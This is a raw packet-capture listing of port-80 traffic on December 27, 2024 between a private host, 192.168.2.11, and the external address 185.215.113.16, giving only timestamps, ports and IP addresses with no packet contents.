Dec 27, 2024 09:02:40.335980892 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.387044907 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.473920107 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.474056005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.474117994 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.474493980 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.474678993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.475397110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.475467920 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.475481987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.475857973 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.476587057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.476659060 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.476717949 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.477782965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.477869034 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.477916956 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.478976011 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.479054928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.479098082 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.480138063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.480233908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.480290890 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.481302023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.481424093 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.481467009 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.482500076 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.482669115 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.482733965 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.483699083 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.483797073 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.483859062 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.484843969 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.484955072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.485002995 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.486051083 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.486145020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.486541986 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.487226963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.487353086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.487395048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.488411903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.488519907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.488564968 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.489631891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.489764929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.489809036 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.490808964 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.490909100 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.490953922 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.492037058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.492182016 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.492233992 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.493161917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.493283987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.493325949 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.494360924 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.494472980 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.494514942 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.495529890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.495646954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.495692968 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.496720076 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.496804953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.496850967 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.497910976 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.498008013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.498060942 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.499083996 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.499200106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.499244928 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.500248909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.500375986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.500439882 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.501432896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.501511097 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.502693892 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.502749920 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.502754927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.503798008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.503849030 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.504219055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.504998922 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.505048037 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.505187988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.505326033 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.506176949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.506294012 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.506351948 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.507381916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.507483006 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.507541895 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.508548021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.508657932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.508707047 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.509715080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.509860992 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.510925055 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.510976076 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.511023045 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.511873007 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.512150049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.512247086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.512301922 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.513401031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.513417959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.513474941 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.514523029 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.514559031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.515671968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.515721083 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.515775919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.515850067 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.516887903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.517030954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.517082930 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.518037081 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.518160105 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.518213034 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.519376993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.519428968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.519866943 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.520404100 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.520509958 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.520559072 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.521589994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.521683931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.521740913 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.522764921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.522870064 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.522929907 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.523942947 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.524024010 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.524071932 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.525121927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.525238037 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.525294065 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.526356936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.526448011 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.526489019 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.527546883 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.527621984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.527683973 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.528697014 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.528783083 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.528836966 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.529863119 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.529963970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.530076981 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.531063080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.531141996 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.531254053 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.532160997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.532290936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.533340931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.533400059 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.533444881 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.534512997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.534558058 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.534617901 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.535711050 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.535770893 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.675331116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.675462008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.675684929 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.675889015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.676028967 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.676090002 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.677053928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.677186966 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.677247047 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.678318024 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.678400040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.678457975 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.679516077 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.679544926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.679594994 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.680644035 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.680824041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.680881023 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.681879997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.682185888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.683028936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.683083057 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.683223009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.683918953 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.684218884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.684376955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.684421062 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.685404062 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.685519934 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.685575962 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.686558962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.686820984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.686868906 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.687781096 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.687953949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.688992023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.689049959 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.689138889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.690124989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.690179110 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.690313101 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.690359116 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.691334963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.691441059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.691492081 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.692589998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.692609072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.692656040 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.694689989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.694818020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.695863008 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.697412968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.697432041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.697448015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.697463989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.697480917 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.697506905 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.698506117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.698641062 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.698690891 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.699248075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.699265957 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.699316025 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.699620962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.699764013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.699856997 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.700858116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.701004982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.701066971 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.701986074 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.702080965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.702131987 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.703198910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.703263998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.703870058 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.704387903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.704691887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.705563068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.705611944 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.705638885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.706773043 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.706792116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.706825018 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.706840038 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.707874060 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.707952023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.708008051 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.709098101 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.709275007 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.709326982 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.710331917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.710411072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.711456060 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.711505890 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.711711884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.711863041 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.712626934 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.712721109 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.712775946 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.713819027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.713927984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.713973999 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.715027094 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.715114117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.715864897 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.716201067 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.716314077 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.717375994 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.717425108 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.717436075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.718734980 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.718756914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.718794107 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.718815088 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.719799995 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.719896078 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.720957041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.721009016 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.721126080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.723875999 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.725218058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.725239038 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.725255013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.725272894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.725291967 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.725316048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.725694895 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.725883961 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.725944042 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.726891041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.726911068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.726969957 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.728058100 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.728209972 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.728261948 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.729382038 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.729406118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.729458094 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.730564117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.730582952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.730633974 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.731636047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.731812954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.731870890 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.732893944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.733041048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.734035015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.734062910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.734090090 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.734119892 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.734533072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.734832048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.734903097 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.736021042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.736042023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.736099005 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.737137079 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.737304926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.738432884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.738511086 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.877880096 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.878235102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.878303051 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.878371000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.878547907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.878583908 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.879630089 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.879806042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.879842043 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.880004883 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.880017996 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.880049944 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.880868912 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.880882025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.880917072 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:40.881992102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.882093906 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:40.882128000 CET	49768	80	192.168.2.11	185.215.113.16
